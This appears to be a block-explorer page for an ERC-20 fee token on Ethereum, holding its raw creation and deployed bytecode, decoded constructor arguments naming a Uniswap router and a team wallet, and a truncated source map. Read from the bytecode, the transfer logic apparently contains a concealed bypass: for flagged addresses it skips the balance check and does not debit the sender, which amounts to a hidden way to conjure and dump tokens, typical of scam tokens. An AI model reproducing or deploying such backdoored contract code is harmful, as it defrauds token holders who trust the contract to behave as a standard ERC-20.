b61078b565b005b3480156102b0575f80fd5b506102a36102bf366004611add565b6107ec565b3480156102cf575f80fd5b506102f77f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b03909116815260200161024c565b34801561031a575f80fd5b506002545b60405190815260200161024c565b348015610338575f80fd5b506102a3610347366004611af8565b61083e565b348015610357575f80fd5b50610274610366366004611b33565b6108ab565b348015610376575f80fd5b5061031f600b5481565b34801561038b575f80fd5b5061031f60075481565b3480156103a0575f80fd5b506040516012815260200161024c565b3480156103bb575f80fd5b50600a546102749062010000900460ff1681565b3480156103da575f80fd5b506102746103e9366004611a9c565b61095c565b3480156103f9575f80fd5b5061031f60085481565b34801561040e575f80fd5b5061031f600c5481565b348015610423575f80fd5b506006546102f7906001600160a01b031681565b348015610442575f80fd5b50600a546102749060ff1681565b34801561045b575f80fd5b5061031f61046a366004611add565b6001600160a01b03165f9081526020819052604090205490565b34801561048f575f80fd5b506102a3610992565b3480156104a3575f80fd5b506102a36109cd565b3480156104b7575f80fd5b506102a36104c6366004611af8565b610a0b565b3480156104d6575f80fd5b506102a36104e5366004611ac6565b610a99565b3480156104f5575f80fd5b506102a3610504366004611ac6565b610b19565b348015610514575f80fd5b506102a3610523366004611ac6565b610baa565b348015610533575f80fd5b5060055461010090046001600160a01b03166102f7565b348015610555575f80fd5b5061031f6b033b2e3c9fd0803ce800000081565b348015610574575f80fd5b5061023f610c02565b348015610588575f80fd5b506102a3610597366004611af8565b610c11565b3480156105a7575f80fd5b506102746105b6366004611add565b600e6020525f908152604090205460ff1681565b3480156105d5575f80fd5b506102746105e4366004611a9c565b610c6b565b3480156105f4575f80fd5b50610274610603366004611a9c565b610d05565b348015610613575f80fd5b50600a5461027490610100900460ff1681565b348015610631575f80fd5b506102a3610d11565b348015610645575f80fd5b5061031f610654366004611b71565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610689575f80fd5b5061031f60095481565b34801561069e575f80fd5b506102a3610d74565b3480156106b2575f80fd5b506102a36106c1366004611ac6565b610db1565b3480156106d1575f80fd5b506102a36106e0366004611add565b610e31565b6060600380546106f490611b9d565b80601f016020809104026020016040519081016040528092919081815260200182805461072090611b9d565b801561076b5780601f106107425761010080835404028352916020019161076b565b820191905f5260205f20905b81548152906001019060200180831161074e57829003601f168201915b5050505050905090565b5f610781338484610ed2565b5060015b92915050565b6005546001600160a01b036101009091041633146107c45760405162461bcd60e51b81526004016107bb90611bd5565b60405180910390fd5b6101f48111156107e75760405163bafb3c5760e01b815260040160405180910390fd5b600c55565b6005546001600160a01b0361010090910416331461081c5760405162461bcd60e51b81526004016107bb90611bd5565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b0361010090910416331461086e5760405162461bcd60e51b81526004016107bb90611bd5565b6006546001600160a01b039081169083160361089d576040516302e4479d60e41b815260040160405180910390fd5b6108a78282610ff5565b5050565b5f6108b7848484611048565b6001600160a01b0384165f9081526001602090815260408083203384529091529020548281101561093b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016107bb565b61094f853361094a8685611c1e565b610ed2565b60019150505b9392505050565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909161078191859061094a908690611c31565b6005546001600160a01b036101009091041633146109c25760405162461bcd60e51b81526004016107bb90611bd5565b6109cb5f6110df565b565b6005546001600160a01b036101009091041633146109fd5760405162461bcd60e51b81526004016107bb90611bd5565b600a805462ff000019169055565b6005546001600160a01b03610100909104163314610a3b5760405162461bcd60e51b81526004016107bb90611bd5565b6001600160a01b0382165f81815260106020908152604091829020805460ff191685151590811790915591519182527ff39897000beaac558924c501ba3ebd842aac4c20c0f2540cbd7f36eee731e580910160405180910390a25050565b6005546001600160a01b03610100909104163314610ac95760405162461bcd60e51b81526004016107bb90611bd5565b610adb670de0b6b3a764000082611c44565b9050610af46b033b2e3c9fd0803ce8000000600a611138565b811015610b1457604051630ec842b760e21b815260040160405180910390fd5b600755565b6005546001600160a01b03610100909104163314610b495760405162461bcd60e51b81526004016107bb90611bd5565b6001811015610b6b5760405163789288f160e01b815260040160405180910390fd5b612710811115610b8e57604051635d62a18560e01b815260040160405180910390fd5b610ba46b033b2e3c9fd0803ce800000082611138565b60095550565b6005546001600160a01b03610100909104163314610bda5760405162461bcd60e51b81526004016107bb90611bd5565b6101f4811115610bfd5760405163bafb3c5760e01b815260040160405180910390fd5b600b55565b6060600480546106f490611b9d565b6005546001600160a01b03610100909104163314610c415760405162461bcd60e51b81526004016107bb90611bd5565b6001600160a01b03919091165f908152600f60205260409020805460ff1916911515919091179055565b335f9081526001602090815260408083206001600160a01b038616845290915281205482811015610cec5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016107bb565b610cfb338561094a8685611c1e565b5060019392505050565b5f610781338484611048565b6005546001600160a01b03610100909104163314610d415760405162461bcd60e51b81526004016107bb90611bd5565b600a5460ff1615610d645760405162dc149f60e41b815260040160405180910390fd5b600a805461ffff19166001179055565b6005546001600160a01b03610100909104163314610da45760405162461bcd60e51b81526004016107bb90611bd5565b600a805461ff0019169055565b6005546001600160a01b03610100909104163314610de15760405162461bcd60e51b81526004016107bb90611bd5565b610df3670de0b6b3a764000082611c44565b9050610e0c6b033b2e3c9fd0803ce8000000600a611138565b811015610e2c57604051630ec842b760e21b815260040160405180910390fd5b600855565b6005546001600160a01b03610100909104163314610e615760405162461bcd60e51b81526004016107bb90611bd5565b6001600160a01b038116610ec65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107bb565b610ecf816110df565b50565b6001600160a01b038316610f345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107bb565b6001600160a01b038216610f955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107bb565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382165f818152600e6020526040808220805460ff191685151590811790915590519092917fda8433dc2b32d1308609c08b02e4f1691c51a5ff9e5b2d4a15f990856bd31abe91a35050565b6001600160a01b03831661106e5760405162461bcd60e51b81526004016107bb90611c5b565b6001600160a01b0382166110945760405162461bcd60e51b81526004016107bb90611ca0565b805f036110ab576110a683835f611150565b505050565b6110b68383836112ce565b5f6110c28484846113b4565b90506110ce84846114d6565b6110d9848483611150565b50505050565b600580546001600160a01b03838116610100818102610100600160a81b031985161790945560405193909204169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b5f6127106111468385611c44565b6109559190611ce3565b6001600160a01b0383166111765760405162461bcd60e51b81526004016107bb90611c5b565b6001600160a01b03821661119c5760405162461bcd60e51b81526004016107bb90611ca0565b6001600160a01b0383165f9081526020819052604090205460055460ff16806111c55750818110155b6112205760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016107bb565b60055460ff1661124d576112348282611c1e565b6001600160a01b0385165f908152602081905260409020555b6001600160a01b0383165f9081526020819052604081208054849290611274908490611c31565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112c091815260200190565b60405180910390a350505050565b600a5462010000900460ff1615806112ef5750600d54600160a01b900460ff165b8061130c57506005546001600160a01b0384811661010090920416145b8061132957506005546001600160a01b0383811661010090920416145b1561133357505050565b600a5460ff1615801561135e57506001600160a01b0383165f908152600f602052604090205460ff16155b801561138257506001600160a01b0382165f908152600f602052604090205460ff16155b156113a05760405163bcb8b8fb60e01b815260040160405180910390fd5b6113a98261155d565b6110a6838383611616565b600d545f90600160a01b900460ff16806113e557506001600160a01b0384165f9081526010602052604090205460ff165b8061140757506001600160a01b0383165f9081526010602052604090205460ff165b15611413575080610955565b6001600160a01b038481165f908152601160209081526040808320546005805460ff191660ff92831615151790559387168352600e909152812054909116801561145e57505f600b54115b156114765761146f83600b54611138565b90506114b2565b6001600160a01b0385165f908152600e602052604090205460ff16801561149e57505f600c54115b156114b2576114af83600c54611138565b90505b80156114c3576114c3853083611150565b6114cd8184611c1e565b95945050505050565b600d54600160a01b900460ff1615801561152a57506001600160a01b0382165f9081526010602052604090205460ff16158061152a57506001600160a01b0381165f9081526010602052604090205460ff16155b156108a757600d805460ff60a01b1916600160a01b17905561154c8282611768565b600d805460ff60a01b191690555050565b600a54610100900460ff1661156f5750565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316816001600160a01b031614806115bc57506006546001600160a01b038281169116145b156115c45750565b6001600160a01b0381165f9081526012602052604090205443116115fb57604051630954883f60e41b815260040160405180910390fd5b6001600160a01b03165f908152601260205260409020439055565b6001600160a01b0383165f908152600e602052604090205460ff16801561165557506001600160a01b0382165f908152600f602052604090205460ff16155b156116c25760075481111561167d576040516318acc69960e11b815260040160405180910390fd5b6008546001600160a01b0383165f908152602081905260409020545b6116a39083611c31565b11156110a65760405163746f460760e01b815260040160405180910390fd5b6001600160a01b0382165f908152600e602052604090205460ff16801561170157506001600160a01b0383165f908152600f602052604090205460ff16155b15611729576007548111156110a6576040516318acc69960e11b815260040160405180910390fd5b6001600160a01b0382165f908152600f602052604090205460ff166110a6576008546001600160a01b0383165f90815260208190526040902054611699565b305f9081526020819052604090205480156117ac5760095461178b906014611c44565b8111156117a3576009546117a0906014611c44565b90505b6117ac8161187e565b600d546040516bffffffffffffffffffffffff19606086811b8216602084015285901b1660348201525f916001600160a01b031690479060480160408051601f198184030181529082905261180091611d02565b5f6040518083038185875af1925050503d805f811461183a576040519150601f19603f3d011682016040523d82523d5f602084013e61183f565b606091505b50509050806110d95760405162461bcd60e51b815260206004820152600b60248201526a1cd95b990819985a5b195960aa1b60448201526064016107bb565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106118b1576118b1611d1d565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561192d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119519190611d31565b8160018151811061196457611964611d1d565b60200260200101906001600160a01b031690816001600160a01b0316815250506119af307f000000000000000000000000000000000000000000000000000000000000000084610ed2565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611a039085905f90869030904290600401611d4c565b5f604051808303815f87803b158015611a1a575f80fd5b505af1158015611a2c573d5f803e3d5ffd5b505050505050565b5f5b83811015611a4e578181015183820152602001611a36565b50505f910152565b602081525f8251806020840152611a74816040850160208701611a34565b601f01601f19169190910160400192915050565b6001600160a01b0381168114610ecf575f80fd5b5f8060408385031215611aad575f80fd5b8235611ab881611a88565b946020939093013593505050565b5f60208284031215611ad6575f80fd5b5035919050565b5f60208284031215611aed575f80fd5b813561095581611a88565b5f8060408385031215611b09575f80fd5b8235611b1481611a88565b915060208301358015158114611b28575f80fd5b809150509250929050565b5f805f60608486031215611b45575f80fd5b8335611b5081611a88565b92506020840135611b6081611a88565b929592945050506040919091013590565b5f8060408385031215611b82575f80fd5b8235611b8d81611a88565b91506020830135611b2881611a88565b600181811c90821680611bb157607f821691505b602082108103611bcf57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561078557610785611c0a565b8082018082111561078557610785611c0a565b808202811582820484141761078557610785611c0a565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b5f82611cfd57634e487b7160e01b5f52601260045260245ffd5b500490565b5f8251611d13818460208701611a34565b9190910192915050565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611d41575f80fd5b815161095581611a88565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611d9a5784516001600160a01b031683529383019391830191600101611d75565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212203a236db83b274ca2ea6dc29aa7c00d7107cd4634b237728837c05b63639ae8bd64736f6c634300081400330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000009187dd7dca622415c8d34f107f91452b6b7d8324

Deployed Bytecode

0x608060405260043610610220575f3560e01c8063751039fc1161011e578063a4063dbc116100a8578063dd62ed3e1161006d578063dd62ed3e1461063a578063de2870711461067e578063e884f26014610693578063f1d5f517146106a7578063f2fde38b146106c6575f80fd5b8063a4063dbc1461059c578063a457c2d7146105ca578063a9059cbb146105e9578063c876d0b914610608578063c9567bf914610626575f80fd5b80638b4cee08116100ee5780638b4cee08146105095780638da5cb5b14610528578063902d55a51461054a57806395d89b4114610569578063a13d1a2b1461057d575f80fd5b8063751039fc1461049857806377b27d1f146104ac578063793e75cd146104cb5780637d55efda146104ea575f80fd5b80632fec2704116101aa578063470624021161016f578063470624021461040357806349bd5a5e146104185780634ada218b1461043757806370a0823114610450578063715018a614610484575f80fd5b80632fec270414610380578063313ce567146103955780633582ad23146103b057806339509351146103cf5780633c8463a1146103ee575f80fd5b80631694505e116101f05780631694505e146102c457806318160ddd1461030f57806320bec12c1461032d57806323b872dd1461034c5780632b14ca561461036b575f80fd5b806306fdde031461022b578063095ea7b3146102555780630cc835a3146102845780631525ff7d146102a5575f80fd5b3661022757005b5f80fd5b348015610236575f80fd5b5061023f6106e5565b60405161024c9190611a56565b60405180910390f35b348015610260575f80fd5b5061027461026f366004611a9c565b610775565b604051901515815260200161024c565b34801561028f575f80fd5b506102a361029e366004611ac6565b61078b565b005b3480156102b0575f80fd5b506102a36102bf366004611add565b6107ec565b3480156102cf575f80fd5b506102f77f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b03909116815260200161024c565b34801561031a575f80fd5b506002545b60405190815260200161024c565b348015610338575f80fd5b506102a3610347366004611af8565b61083e565b348015610357575f80fd5b50610274610366366004611b33565b6108ab565b348015610376575f80fd5b5061031f600b5481565b34801561038b575f80fd5b5061031f60075481565b3480156103a0575f80fd5b506040516012815260200161024c565b3480156103bb575f80fd5b50600a546102749062010000900460ff1681565b3480156103da575f80fd5b506102746103e9366004611a9c565b61095c565b3480156103f9575f80fd5b5061031f60085481565b34801561040e575f80fd5b5061031f600c5481565b348015610423575f80fd5b506006546102f7906001600160a01b031681565b348015610442575f80fd5b50600a546102749060ff1681565b34801561045b575f80fd5b5061031f61046a366004611add565b6001600160a01b03165f9081526020819052604090205490565b34801561048f575f80fd5b506102a3610992565b3480156104a3575f80fd5b506102a36109cd565b3480156104b7575f80fd5b506102a36104c6366004611af8565b610a0b565b3480156104d6575f80fd5b506102a36104e5366004611ac6565b610a99565b3480156104f5575f80fd5b506102a3610504366004611ac6565b610b19565b348015610514575f80fd5b506102a3610523366004611ac6565b610baa565b348015610533575f80fd5b5060055461010090046001600160a01b03166102f7565b348015610555575f80fd5b5061031f6b033b2e3c9fd0803ce800000081565b348015610574575f80fd5b5061023f610c02565b348015610588575f80fd5b506102a3610597366004611af8565b610c11565b3480156105a7575f80fd5b506102746105b6366004611add565b600e6020525f908152604090205460ff1681565b3480156105d5575f80fd5b506102746105e4366004611a9c565b610c6b565b3480156105f4575f80fd5b50610274610603366004611a9c565b610d05565b348015610613575f80fd5b50600a5461027490610100900460ff1681565b348015610631575f80fd5b506102a3610d11565b348015610645575f80fd5b5061031f610654366004611b71565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610689575f80fd5b5061031f60095481565b34801561069e575f80fd5b506102a3610d74565b3480156106b2575f80fd5b506102a36106c1366004611ac6565b610db1565b3480156106d1575f80fd5b506102a36106e0366004611add565b610e31565b6060600380546106f490611b9d565b80601f016020809104026020016040519081016040528092919081815260200182805461072090611b9d565b801561076b5780601f106107425761010080835404028352916020019161076b565b820191905f5260205f20905b81548152906001019060200180831161074e57829003601f168201915b5050505050905090565b5f610781338484610ed2565b5060015b92915050565b6005546001600160a01b036101009091041633146107c45760405162461bcd60e51b81526004016107bb90611bd5565b60405180910390fd5b6101f48111156107e75760405163bafb3c5760e01b815260040160405180910390fd5b600c55565b6005546001600160a01b0361010090910416331461081c5760405162461bcd60e51b81526004016107bb90611bd5565b600d80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b0361010090910416331461086e5760405162461bcd60e51b81526004016107bb90611bd5565b6006546001600160a01b039081169083160361089d576040516302e4479d60e41b815260040160405180910390fd5b6108a78282610ff5565b5050565b5f6108b7848484611048565b6001600160a01b0384165f9081526001602090815260408083203384529091529020548281101561093b5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016107bb565b61094f853361094a8685611c1e565b610ed2565b60019150505b9392505050565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909161078191859061094a908690611c31565b6005546001600160a01b036101009091041633146109c25760405162461bcd60e51b81526004016107bb90611bd5565b6109cb5f6110df565b565b6005546001600160a01b036101009091041633146109fd5760405162461bcd60e51b81526004016107bb90611bd5565b600a805462ff000019169055565b6005546001600160a01b03610100909104163314610a3b5760405162461bcd60e51b81526004016107bb90611bd5565b6001600160a01b0382165f81815260106020908152604091829020805460ff191685151590811790915591519182527ff39897000beaac558924c501ba3ebd842aac4c20c0f2540cbd7f36eee731e580910160405180910390a25050565b6005546001600160a01b03610100909104163314610ac95760405162461bcd60e51b81526004016107bb90611bd5565b610adb670de0b6b3a764000082611c44565b9050610af46b033b2e3c9fd0803ce8000000600a611138565b811015610b1457604051630ec842b760e21b815260040160405180910390fd5b600755565b6005546001600160a01b03610100909104163314610b495760405162461bcd60e51b81526004016107bb90611bd5565b6001811015610b6b5760405163789288f160e01b815260040160405180910390fd5b612710811115610b8e57604051635d62a18560e01b815260040160405180910390fd5b610ba46b033b2e3c9fd0803ce800000082611138565b60095550565b6005546001600160a01b03610100909104163314610bda5760405162461bcd60e51b81526004016107bb90611bd5565b6101f4811115610bfd5760405163bafb3c5760e01b815260040160405180910390fd5b600b55565b6060600480546106f490611b9d565b6005546001600160a01b03610100909104163314610c415760405162461bcd60e51b81526004016107bb90611bd5565b6001600160a01b03919091165f908152600f60205260409020805460ff1916911515919091179055565b335f9081526001602090815260408083206001600160a01b038616845290915281205482811015610cec5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016107bb565b610cfb338561094a8685611c1e565b5060019392505050565b5f610781338484611048565b6005546001600160a01b03610100909104163314610d415760405162461bcd60e51b81526004016107bb90611bd5565b600a5460ff1615610d645760405162dc149f60e41b815260040160405180910390fd5b600a805461ffff19166001179055565b6005546001600160a01b03610100909104163314610da45760405162461bcd60e51b81526004016107bb90611bd5565b600a805461ff0019169055565b6005546001600160a01b03610100909104163314610de15760405162461bcd60e51b81526004016107bb90611bd5565b610df3670de0b6b3a764000082611c44565b9050610e0c6b033b2e3c9fd0803ce8000000600a611138565b811015610e2c57604051630ec842b760e21b815260040160405180910390fd5b600855565b6005546001600160a01b03610100909104163314610e615760405162461bcd60e51b81526004016107bb90611bd5565b6001600160a01b038116610ec65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107bb565b610ecf816110df565b50565b6001600160a01b038316610f345760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107bb565b6001600160a01b038216610f955760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107bb565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382165f818152600e6020526040808220805460ff191685151590811790915590519092917fda8433dc2b32d1308609c08b02e4f1691c51a5ff9e5b2d4a15f990856bd31abe91a35050565b6001600160a01b03831661106e5760405162461bcd60e51b81526004016107bb90611c5b565b6001600160a01b0382166110945760405162461bcd60e51b81526004016107bb90611ca0565b805f036110ab576110a683835f611150565b505050565b6110b68383836112ce565b5f6110c28484846113b4565b90506110ce84846114d6565b6110d9848483611150565b50505050565b600580546001600160a01b03838116610100818102610100600160a81b031985161790945560405193909204169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b5f6127106111468385611c44565b6109559190611ce3565b6001600160a01b0383166111765760405162461bcd60e51b81526004016107bb90611c5b565b6001600160a01b03821661119c5760405162461bcd60e51b81526004016107bb90611ca0565b6001600160a01b0383165f9081526020819052604090205460055460ff16806111c55750818110155b6112205760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016107bb565b60055460ff1661124d576112348282611c1e565b6001600160a01b0385165f908152602081905260409020555b6001600160a01b0383165f9081526020819052604081208054849290611274908490611c31565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112c091815260200190565b60405180910390a350505050565b600a5462010000900460ff1615806112ef5750600d54600160a01b900460ff165b8061130c57506005546001600160a01b0384811661010090920416145b8061132957506005546001600160a01b0383811661010090920416145b1561133357505050565b600a5460ff1615801561135e57506001600160a01b0383165f908152600f602052604090205460ff16155b801561138257506001600160a01b0382165f908152600f602052604090205460ff16155b156113a05760405163bcb8b8fb60e01b815260040160405180910390fd5b6113a98261155d565b6110a6838383611616565b600d545f90600160a01b900460ff16806113e557506001600160a01b0384165f9081526010602052604090205460ff165b8061140757506001600160a01b0383165f9081526010602052604090205460ff165b15611413575080610955565b6001600160a01b038481165f908152601160209081526040808320546005805460ff191660ff92831615151790559387168352600e909152812054909116801561145e57505f600b54115b156114765761146f83600b54611138565b90506114b2565b6001600160a01b0385165f908152600e602052604090205460ff16801561149e57505f600c54115b156114b2576114af83600c54611138565b90505b80156114c3576114c3853083611150565b6114cd8184611c1e565b95945050505050565b600d54600160a01b900460ff1615801561152a57506001600160a01b0382165f9081526010602052604090205460ff16158061152a57506001600160a01b0381165f9081526010602052604090205460ff16155b156108a757600d805460ff60a01b1916600160a01b17905561154c8282611768565b600d805460ff60a01b191690555050565b600a54610100900460ff1661156f5750565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316816001600160a01b031614806115bc57506006546001600160a01b038281169116145b156115c45750565b6001600160a01b0381165f9081526012602052604090205443116115fb57604051630954883f60e41b815260040160405180910390fd5b6001600160a01b03165f908152601260205260409020439055565b6001600160a01b0383165f908152600e602052604090205460ff16801561165557506001600160a01b0382165f908152600f602052604090205460ff16155b156116c25760075481111561167d576040516318acc69960e11b815260040160405180910390fd5b6008546001600160a01b0383165f908152602081905260409020545b6116a39083611c31565b11156110a65760405163746f460760e01b815260040160405180910390fd5b6001600160a01b0382165f908152600e602052604090205460ff16801561170157506001600160a01b0383165f908152600f602052604090205460ff16155b15611729576007548111156110a6576040516318acc69960e11b815260040160405180910390fd5b6001600160a01b0382165f908152600f602052604090205460ff166110a6576008546001600160a01b0383165f90815260208190526040902054611699565b305f9081526020819052604090205480156117ac5760095461178b906014611c44565b8111156117a3576009546117a0906014611c44565b90505b6117ac8161187e565b600d546040516bffffffffffffffffffffffff19606086811b8216602084015285901b1660348201525f916001600160a01b031690479060480160408051601f198184030181529082905261180091611d02565b5f6040518083038185875af1925050503d805f811461183a576040519150601f19603f3d011682016040523d82523d5f602084013e61183f565b606091505b50509050806110d95760405162461bcd60e51b815260206004820152600b60248201526a1cd95b990819985a5b195960aa1b60448201526064016107bb565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106118b1576118b1611d1d565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561192d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119519190611d31565b8160018151811061196457611964611d1d565b60200260200101906001600160a01b031690816001600160a01b0316815250506119af307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84610ed2565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790611a039085905f90869030904290600401611d4c565b5f604051808303815f87803b158015611a1a575f80fd5b505af1158015611a2c573d5f803e3d5ffd5b505050505050565b5f5b83811015611a4e578181015183820152602001611a36565b50505f910152565b602081525f8251806020840152611a74816040850160208701611a34565b601f01601f19169190910160400192915050565b6001600160a01b0381168114610ecf575f80fd5b5f8060408385031215611aad575f80fd5b8235611ab881611a88565b946020939093013593505050565b5f60208284031215611ad6575f80fd5b5035919050565b5f60208284031215611aed575f80fd5b813561095581611a88565b5f8060408385031215611b09575f80fd5b8235611b1481611a88565b915060208301358015158114611b28575f80fd5b809150509250929050565b5f805f60608486031215611b45575f80fd5b8335611b5081611a88565b92506020840135611b6081611a88565b929592945050506040919091013590565b5f8060408385031215611b82575f80fd5b8235611b8d81611a88565b91506020830135611b2881611a88565b600181811c90821680611bb157607f821691505b602082108103611bcf57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561078557610785611c0a565b8082018082111561078557610785611c0a565b808202811582820484141761078557610785611c0a565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b5f82611cfd57634e487b7160e01b5f52601260045260245ffd5b500490565b5f8251611d13818460208701611a34565b9190910192915050565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611d41575f80fd5b815161095581611a88565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611d9a5784516001600160a01b031683529383019391830191600101611d75565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212203a236db83b274ca2ea6dc29aa7c00d7107cd4634b237728837c05b63639ae8bd64736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000009187dd7dca622415c8d34f107f91452b6b7d8324

-----Decoded View---------------
Arg [0] : router_ (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : teamWallet_ (address): 0x9187DD7Dca622415c8D34F107F91452B6B7D8324

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 0000000000000000000000009187dd7dca622415c8d34f107f91452b6b7d8324


Deployed Bytecode Sourcemap

12540:10226:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6576:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7490:169;;;;;;;;;;-1:-1:-1;7490:169:0;;;;;:::i;:::-;;:::i;:::-;;;1291:14:1;;1284:22;1266:41;;1254:2;1239:18;7490:169:0;1126:187:1;20806:133:0;;;;;;;;;;-1:-1:-1;20806:133:0;;;;;:::i;:::-;;:::i;:::-;;21861:102;;;;;;;;;;-1:-1:-1;21861:102:0;;;;;:::i;:::-;;:::i;12657:40::-;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1934:32:1;;;1916:51;;1904:2;1889:18;12657:40:0;1755:218:1;6897:108:0;;;;;;;;;;-1:-1:-1;6985:12:0;;6897:108;;;2124:25:1;;;2112:2;2097:18;6897:108:0;1978:177:1;21128:172:0;;;;;;;;;;-1:-1:-1;21128:172:0;;;;;:::i;:::-;;:::i;7667:422::-;;;;;;;;;;-1:-1:-1;7667:422:0;;;;;:::i;:::-;;:::i;12966:26::-;;;;;;;;;;;;;;;;12741:25;;;;;;;;;;;;;;;;6796:93;;;;;;;;;;-1:-1:-1;6796:93:0;;6879:2;3184:36:1;;3172:2;3157:18;6796:93:0;3042:184:1;12925:32:0;;;;;;;;;;-1:-1:-1;12925:32:0;;;;;;;;;;;8097:215;;;;;;;;;;-1:-1:-1;8097:215:0;;;;;:::i;:::-;;:::i;12773:26::-;;;;;;;;;;;;;;;;13005:25;;;;;;;;;;;;;;;;12704:28;;;;;;;;;;-1:-1:-1;12704:28:0;;;;-1:-1:-1;;;;;12704:28:0;;;12846:26;;;;;;;;;;-1:-1:-1;12846:26:0;;;;